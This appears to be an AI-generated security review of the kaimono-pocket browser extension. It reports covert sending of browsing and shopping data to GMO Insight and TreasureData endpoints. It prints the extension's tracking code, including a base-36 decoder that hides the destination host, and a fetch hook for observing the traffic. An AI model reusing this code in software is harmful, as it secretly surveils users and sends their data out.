Is 買い物ポケット safe?
買い物ポケット is high risk. When server config enables the mljs module, this extension gathers page title, URL, referrer, browser/screen details, and a persistent ID from visited pages. DA saw six GETs to lfs3.gmo-insight.jp on Amazon.co.jp; data rode in query params.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Browsing data sent to GMO Insight after server opt-in
When server config enables the mljs module, this extension gathers page title, URL, referrer, browser/screen details, and a persistent ID from visited pages.
DA saw six GETs to lfs3.gmo-insight.jp on Amazon.co.jp; data rode in query params.
You browse after the extension has received configuration enabling this module.
The content script runs on ordinary HTTP and HTTPS pages at document end.
The extension collects page context, encrypts it, and sends a GET request to lfs3.gmo-insight.jp.
The observed requests used query parameters for the encrypted payload and did not include a request body.
Server-provided config enabled this browsing-data module, and its local timer had already cleared during the confirmed run.
chrome.storage.local values set after api.kaipoke.jp/bar/init{
"modules": "{\"aijs\":false,\"mljs\":true,\"restricted\":false}",
"mljs-date": "1776208021139"
}| Field | Value | Why it matters | |
|---|---|---|---|
Full page URL | https://www.amazon.co.jp/s?k=%E3%82%A4%E3%83%A4%E3%83%9B%E3%83%B3 (illustrative) | Shows the exact page you visited, including paths and query strings before the fragment is removed. | |
Page title | Amazon.co.jp : イヤホン (illustrative) | Shows the title of the page you were viewing. | |
Referrer | https://www.google.com/search?q=%E3%82%A4%E3%83%A4%E3%83%9B%E3%83%B3 (illustrative) | Shows the page that led to the current page when the browser provides it. | |
Extension browsing ID | 7c39481d-6d07-4b3f-8d92-5d9ec5e8ab4f (illustrative) | Lets repeated reports from this browser be linked together over time. | |
Browser and OS | Chrome 126.0 on Windows 10 (illustrative) | Adds device context to the page report. | |
Screen and viewport | 1920x1080 screen, 1365x768 viewport (illustrative) | Adds display details that help distinguish one browsing environment from another. | |
Extension version | 3.61.0 | Identifies which installed extension build produced the report. |
| Content-Type | application/x-www-form-urlencoded |
After the local mljs timer is set, the sender waits about 48 hours before allowing another send.
Content script collection and service worker sender
window.executeMljs = function () {
function decodeBase36Pairs(value) {
let output = "";
let pair = "";
for (let index = 0; index < value.length; index++) {
pair += value.charAt(index);
if (pair.length === 2) {
output += String.fromCharCode(parseInt(pair, 36) - 70);
pair = "";
}
}
return output;
}
async function collectPageContext() {
const context = {};
context.page_title = document.title;
context.color = window.screen ? window.screen.colorDepth + "-bit" : "-";
context.path = document.location.pathname;
context.log_category = "page_view";
const viewportHeight = document.documentElement.clientHeight < window.innerHeight ? window.innerHeight : document.documentElement.clientHeight;
const viewportWidth = document.documentElement.clientWidth < window.innerWidth ? window.innerWidth : document.documentElement.clientWidth;
context.viewport = viewportWidth + "x" + viewportHeight;
context.charset = (document.characterSet || document.charset || "-").toLowerCase();
context.referrer = document.referrer;
context.screen = window.screen ? window.screen.width + "x" + window.screen.height : "-";
context.host = document.location.host;
context.url = document.location.href.split("#")[0];
context.language = ((navigator && (navigator.language || navigator.browserLanguage)) || "-").toLowerCase();
try {
const userAgentReply = await chrome.runtime.sendMessage({ action: "getUserAgent" });
context.ua = userAgentReply && userAgentReply.userAgent ? userAgentReply.userAgent : "Unknown";
const os = detectOs(navigator);
context.os = os.os;
context.os_version = os.version;
context.browser = "Unknown";
context.browser_version = "Unknown";
const browserReply = await chrome.runtime.sendMessage({ action: "getBrowserInfo" });
if (browserReply && browserReply.browser && browserReply.version) {
context.browser = browserReply.browser;
context.browser_version = browserReply.version;
}
} catch (error) {}
return context;
}
async function sendPageContext() {
try {
const context = await collectPageContext();
const action = decodeBase36Pairs("4z4y4w55"); // mljs
const redirects = await chrome.runtime.sendMessage({ action: "getRedirectInfo" });
if (context.browser === "Edge" && redirects?.redirects && Array.isArray(redirects.redirects)) {
for (const redirect of redirects.redirects) {
if (redirect.fromUrl && redirect.toUrl) {
await chrome.runtime.sendMessage({ action, context: { ...context, referrer: redirect.fromUrl, url: redirect.toUrl, log_category: "redirect" } });
}
}
}
if (redirects?.redirects && redirects.redirects.length > 0) {
await chrome.runtime.sendMessage({ action: "clearRedirectInfo" });
}
await chrome.runtime.sendMessage({ action, context });
} catch (error) {}
}
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", () => sendPageContext().catch(console.error));
} else {
sendPageContext().catch(console.error);
}
};function decodeBase36Pairs(value) {
let output = "";
let pair = "";
for (let index = 0; index < value.length; index++) {
pair += value.charAt(index);
if (pair.length === 2) {
output += String.fromCharCode(parseInt(pair, 36) - 70);
pair = "";
}
}
return output;
}
const fieldMap = {
page_title: "pa",
color: "co",
viewport: "vi",
charset: "ch",
referrer: "re",
screen: "sc",
host: "ho",
url: "ur",
language: "la",
os: "os",
os_version: "ov",
browser: "br",
browser_version: "bv",
uuid: "uu",
extension_version: "ev",
log_category: "lc",
request_uuid: "ru"
};
const maxLengths = { maxUrlBytes: 2200, maxTitleBytes: 600, truncateOnCombinedOverflow: true };
const sendIntervalMs = 172800000;
async function sendMljs(context) {
try {
const dateKey = decodeBase36Pairs("4z4y4w55374q4n564r"); // mljs-date
let lastSend = (await chrome.storage.local.get([dateKey]))[dateKey] ?? null;
if (!lastSend) {
lastSend = String(Date.now());
await chrome.storage.local.set({ [dateKey]: lastSend });
}
if (parseInt(lastSend) + sendIntervalMs - Date.now() > 0) return;
const idKey = decodeBase36Pairs("4z4y4w55374v4q"); // mljs-id
const requestUuidKey = decodeBase36Pairs("544r53574r55564l57574v4q"); // request_uuid
let mljsId = (await chrome.storage.local.get([idKey]))[idKey] ?? null;
let requestUuid = (await chrome.storage.local.get([requestUuidKey]))[requestUuidKey] ?? null;
if (!mljsId) {
mljsId = crypto.randomUUID();
await chrome.storage.local.set({ [idKey]: mljsId });
}
const payload = mapFields({ ...truncateContext(context, maxLengths), uuid: mljsId, extension_version: chrome.runtime.getManifest().version, request_uuid: requestUuid }, fieldMap);
const plaintext = JSON.stringify(payload);
const publicKey = await importRsaPublicKey("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmfG3TovkNBVgNw10Cqoj\r\n/iO7BGzRLmp3DXveVHQhwJo7myjomQ3f8raIys4QP7ywz5qTis0mq2YXgHFhzIVC\r\nDRQblBW3LU5GiXwo8popqLexGl0vhzXxDAfGHVej7e/5Hbeqt/kNIuU2WGmHjG/W\r\nb8S65gPICZR6f2Mqx2PrD3fpjz+X6j94Nrj6dnEY6soMHPzJ3Dz1mO7a8GMeUclU\r\n1dStN83BDXqQh5hxGtFR1e7eNXUDj1qJuQ1xNGhv2bxTiXLpy+WAA816XfTl8fwD\r\nlBH0Dhozq/mR2qJ34P9ysvpjV7h4Eaqfkb4/9IoTMnpapL0hiXMbO9h2UxOSQoD2\r\n+QIDAQAB\r\n");
const aesKey = await crypto.subtle.generateKey({ name: "AES-CBC", length: 256 }, true, ["encrypt", "decrypt"]);
const wrappedKey = await crypto.subtle.encrypt({ name: "RSA-OAEP" }, publicKey, await crypto.subtle.exportKey("raw", aesKey));
const encrypted = await encryptAesCbc(aesKey, plaintext);
const query = `?i=${base64Url(encrypted.iv)}&k=${base64Url(wrappedKey)}&d=${base64Url(encrypted.encryptedMessage)}&c=1`;
const url = decodeBase36Pairs("4u565652553k39394y4s553d384t4z51374v50554v4t4u56384w52") + query;
fetch(url, {
method: decodeBase36Pairs("3x3v4a"),
headers: { [decodeBase36Pairs("3t5150564r5056374a5b524r")]: decodeBase36Pairs("4n52524y4v4p4n564v5150395a37595959374s51544z3757544y4r504p514q4r4q") }
});
} catch (error) {
return;
}
}
chrome.runtime.onMessage.addListener((message, sender, respond) => {
if (message?.[decodeBase36Pairs("4n4p564v5150")] === decodeBase36Pairs("4z4y4w55")) {
sendMljs(message?.context ?? {}).then();
respond();
return true;
}
});- lfs3.gmo-insight.jp
Receives encrypted GET requests containing per-page browsing context when the mljs module is enabled.
- api.kaipoke.jp
Provides startup configuration that enabled the mljs module for the observed install.
Amazon and Yahoo shopping activity sent to TreasureData via log.estart.jp
The extension sends e-commerce events to log.estart.jp on every view, add-to-cart, and checkout: product name, code, price, quantity, URL, title, User-Agent, a persistent UUID.
The listing describes price comparison, not this forwarding.
You open a product page on Amazon.co.jp or Yahoo!Auctions.
No setting is toggled, no popup is opened. The page just loads.
The extension reads the product name, code and price off the page, attaches a persistent UUID, and POSTs an `ec_log` event to log.estart.jp.
The same code path also fires when you click add-to-cart, buy-now, or one-click on Amazon, sending CHECKOUT_PRODUCT and CHECKOUT_CONFIRM events with the quantity you chose.
| Accept | application/json |
| Content-Type | application/json |
| X-TD-Write-Key | <TD write key fetched from api.kaipoke.jp/bar/init> |
{
"parent_id": null,
"distributor_id": "1",
"panelist_id": "58294cfa-9b9d-415c-b475-0ec026500124",
"url": "https://www.amazon.co.jp/-/en/ONE-PIECE-magazine-%E7%89%B9%E9%9B%86-%E3%83%92%E3%83%AD%E3%82%A4%E3%83%B3%E3%82%BA-021/dp/4081024413",
"entry_type": "PRODUCT_PAGE_VIEW",
"title": "Amazon.co.jp: ONE PIECE magazine 特集 ヒロインズ 021 カード付き同梱版 (集英社ムック)",
"language": "en-US",
"product_name": "ONE PIECE magazine 特集 ヒロインズ 021 カード付き同梱版 (集英社ムック)",
"product_code": "4081024413",
"available": null,
"quantity": 0,
"currency": "JPY",
"price": 8,
"price_details": null,
"currency_details": null,
"total_price": null,
"total_price_currency": null,
"keyword": null,
"user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"accept_language": "[\"en-US\",\"en\"]",
"user_country_code": null,
"request_country_code": null,
"timestamp": "Tue, 14 Apr 2026 11:42:08 GMT",
"host": "www.amazon.co.jp",
"service": "chrome",
"version": "3.53.0",
"request_uuid": null
}| Field | Value | Why it matters | |
|---|---|---|---|
Event type | PRODUCT_PAGE_VIEW | Tells the analytics backend which step of the shopping funnel you are at: viewing, adding to cart, or confirming checkout. | |
Full product URL | https://www.amazon.co.jp/-/en/.../dp/4081024413 | The exact URL of the product page you are looking at, including any tracking parameters Amazon added. | |
Product name | ONE PIECE magazine 特集 ヒロインズ 021 カード付き同梱版 (集英社ムック) | The product title scraped from the page DOM (#productTitle on Amazon). | |
Product code | 4081024413 | The Amazon ASIN or Yahoo!Auctions auction ID, uniquely identifies the item. | |
Price and quantity | price=8, quantity=1, currency=JPY | How much the item costs and, on add-to-cart/checkout events, how many you selected. | |
Page title and host | Amazon.co.jp: ONE PIECE magazine ... | host=www.amazon.co.jp | The HTML <title> of the page and the hostname (e.g. www.amazon.co.jp). | |
Persistent panelist UUID | 58294cfa-9b9d-415c-b475-0ec026500124 | A UUID generated at install, stored as `kaipoke_uuid`, attached to every shopping event, linking every product you view to this install. | |
User-Agent and language | Mozilla/5.0 (X11; Linux x86_64) ... Chrome/124.0.0.0 ; ["en-US","en"] | Your browser User-Agent string and the languages your browser advertises, useful for fingerprinting alongside the UUID. | |
Timestamp | Tue, 14 Apr 2026 11:42:08 GMT | When the event happened, in UTC. | |
Extension version | 3.53.0 | Which build of the extension is running. |
The shipped service-worker code that fires the events, alongside a readable rewrite.
// Build a flat ec_log record by overlaying:
// 1) the context set in init() (panelist_id, url, host, title, UA, lang, version)
// 2) the per-event fields the caller passed (entry_type, product_*, price, etc.)
// Then POST it as a TreasureData event to the `ec_log` table.
async trackEcLog(eventFields) {
if (this.setting == null) {
log("TreasureData not initialized");
return;
}
const record = {
parent_id: null,
distributor_id: null,
panelist_id: null, // overwritten by contextForEcLog → kaipoke_uuid
url: null, // overwritten → window.location.href
entry_type: null, // PRODUCT_PAGE_VIEW | ADD_PRODUCT_TO_CART | CHECKOUT_PRODUCT | CHECKOUT_CONFIRM
title: null, // document.title
language: null, // navigator.language
product_name: null,
product_code: null, // Amazon ASIN / Yahoo auction ID
available: null,
quantity: null,
currency: null,
price: null,
price_details: null,
currency_details: null,
total_price: null,
total_price_currency: null,
keyword: null,
user_agent: null, // navigator.userAgent
accept_language: null, // JSON.stringify(navigator.languages)
user_country_code: null,
request_country_code: null,
timestamp: null, // (new Date).toUTCString()
host: null, // new URL(location.href).hostname
service: null, // 'chrome' | 'edge' | 'safari'
version: null, // extension manifest version
request_uuid: null,
};
Object.assign(record, this.contextForEcLog);
Object.assign(record, eventFields);
await this.trackEvent({
database: this.setting.treasureData.database, // from /bar/init
writeKey: this.setting.treasureData.writerKey, // from /bar/init
table: "ec_log",
withoutBaseData: true,
}, record);
}// Fires once per Amazon product page load, after the price-comparison
// scraper has resolved the ASIN (`asin`) and price (`price`).
function reportProductPageView(td, doc, asin, price) {
try {
if (!doc) return;
const productName = doc.getElementById("productTitle")?.textContent;
if (!asin || !productName) return;
td.trackEcLog({
entry_type: "PRODUCT_PAGE_VIEW",
product_code: asin,
product_name: productName.trim(),
price: price,
quantity: 0,
currency: "JPY",
});
} catch {}
}// Wires click handlers onto the Amazon purchase-funnel buttons.
// On add-to-cart click: ADD_PRODUCT_TO_CART event.
// On buy-now / 1-click: CHECKOUT_CONFIRM + CHECKOUT_PRODUCT events with
// total_price = unit price × quantity.
function wirePurchaseFunnel(td, doc, asin, price) {
try {
if (!doc) return;
const productName = doc.getElementById("productTitle")?.textContent;
if (!asin || !productName) return;
const addBtn = doc.getElementById("add-to-cart-button");
const buyBtn = doc.getElementById("buy-now-button");
const oneClick = doc.getElementById("one-click-button");
if (addBtn) {
addBtn.addEventListener("click", () => {
const qty = Number(doc.getElementById("quantity")?.value ?? 1);
td.trackEcLog({
entry_type: "ADD_PRODUCT_TO_CART",
product_code: asin,
product_name: productName.trim(),
price, quantity: qty, currency: "JPY",
});
});
}
[buyBtn, oneClick].forEach(btn => {
if (!btn) return;
btn.addEventListener("click", () => {
const qty = Number(doc.getElementById("quantity")?.value ?? 1);
const totals = (price && qty)
? { total_price: price * qty, total_price_currency: "JPY" }
: {};
td.trackEcLog({
entry_type: "CHECKOUT_CONFIRM",
product_code: asin,
product_name: productName.trim(),
price, quantity: qty, currency: "JPY",
...totals,
});
td.trackEcLog({
entry_type: "CHECKOUT_PRODUCT",
product_code: asin,
product_name: productName.trim(),
price, quantity: qty, currency: "JPY",
});
});
});
} catch {}
}// Single fetch() to the TreasureData JS-SDK ingestion endpoint.
// Database and writeKey are server-supplied (api.kaipoke.jp/bar/init);
// table is hard-coded by the caller ('ec_log', 'access_log',
// 'yahoo_auction_research', etc.).
async function postToTreasureData({ data, options }) {
const enriched = merge(data, { version: "3.53.0" });
const headers = {
"Accept": "application/json",
"Content-Type": "application/json",
"X-TD-Write-Key": options.writeKey,
};
await fetch(
`https://log.estart.jp/js/v3/event/${options.database}/${options.table}`,
{ method: "POST", headers, body: JSON.stringify(enriched) }
);
}Generated once at install and stored permanently. Sent as panelist_id/uuid on every event, linking all your activity to one profile.
chrome.storage.local key `kaipoke_uuid`"58294cfa-9b9d-415c-b475-0ec026500124"
- log.estart.jp
TreasureData ingestion endpoint. Receives ec_log POSTs with product name, ASIN, price, quantity, URL, title, User-Agent, timestamp, and panelist UUID.
- api.kaipoke.jp
Configuration host owned by the publisher. `/bar/init` returns the TreasureData database name, write key, and the panelist UUID that identifies this install on every ec_log POST.
Run this in the service-worker DevTools console of the kaimono-pocket extension (chrome://extensions → Inspect views: service worker). It hooks fetch() and logs every POST to log.estart.jp together with its decoded JSON body, so you can watch the ec_log events being sent in real time as you browse Amazon.co.jp.
// kaimono-pocket-trace.js
// Paste into the kaimono-pocket service-worker DevTools console.
// Then browse Amazon.co.jp / Yahoo!Auctions and watch the console.
(function () {
const origFetch = self.fetch.bind(self);
self.fetch = async function (input, init) {
const url = (typeof input === 'string') ? input : input.url;
if (url && url.includes('log.estart.jp/js/v3/event/')) {
let body = init && init.body;
let pretty = body;
try { pretty = JSON.stringify(JSON.parse(body), null, 2); } catch {}
console.group('[kaimono-pocket] POST', url);
console.log('headers:', init && init.headers);
console.log('body:', pretty);
console.groupEnd();
}
return origFetch(input, init);
};
console.log('[kaimono-pocket-trace] installed. Browse Amazon.co.jp to see ec_log events.');
})();
- 1Install kaimono-pocket (pgmbeccjfkdbpdjfoldaahpfamjjafma).
- 2Open its service worker DevTools.
- 3Paste this script.
- 4Visit an Amazon.co.jp product page.
- 5Watch for POSTs to log.estart.jp with price, URL, panelist_id.
Server-controlled tracking module harvests per-page browsing data
Every page you visit triggers an encrypted report to lfs3.gmo-insight.jp.
A startup call to api.kaipoke.jp/bar/init returns a flag toggling collection anytime.
DA confirmed mljs=true, then 6 requests.
URL hidden via base-36.
You navigate to any web page with the extension installed.
The extension's content script runs on every page due to broad host permissions.
The extension collects detailed page metadata and sends an encrypted report to lfs3.gmo-insight.jp.
This happens only when the server-controlled modules.mljs flag is enabled, which dynamic analysis confirmed was active in production.
| Content-Type | multipart/form-data |
model={"dv":"chrome","sitecode":"404"}| Field | Value | Why it matters | |
|---|---|---|---|
Full page URL | https://www.amazon.co.jp/dp/B09XYZ1234 | The complete address of every page you visit, minus the fragment identifier. | |
Referring page | https://www.google.co.jp/search?q=... | The URL of the page you came from, revealing navigation patterns. | |
Persistent user ID | a3f7c2d1-8b4e-4f9a-bc12-3d5e6f780a91 | A UUID generated once and stored locally, used to link all your reports together across sessions. | |
Page title | Product Name — Amazon.co.jp | The title of every page you visit. | |
OS and browser | Windows / 10 / Chrome / 124.0 | Your operating system, version, browser name, and browser version. | |
Screen and viewport | 1920x1080 / 1280x900 | Your display resolution and visible browser area size. | |
Log category | page_view | Event type label, page_view for normal navigation, redirect for tracked redirects. |
The destination hostname lfs3.gmo-insight.jp is not visible as a string anywhere in the extension source. It is reconstructed at runtime by a custom base-36 decoder that subtracts 70 from each character-pair value.
https://lfs3.gmo-insight.jp
Remote-flag check and executeMljs activation in background.js
// After bar/init response is stored:
if (initSettings.modules.mljs && typeof executeMljs !== 'undefined') {
console.log('call executeMljs (main): ' + new Date().toString());
executeMljs(); // fires per-page data collection on every tab load
}- api.kaipoke.jp
Developer's own API, returns the modules.mljs server toggle and TreasureData credentials on every startup.
- lfs3.gmo-insight.jp
Per-page encrypted browsing reports. Operated by GMO Insight, a Japanese behavioral analytics company. Receives page URL, title, referrer, and persistent UUID on every navigation.
- log.estart.jp
Secondary analytics pipeline (TreasureData SDK). Receives access-log events and e-commerce interaction data including page context and persistent UUID.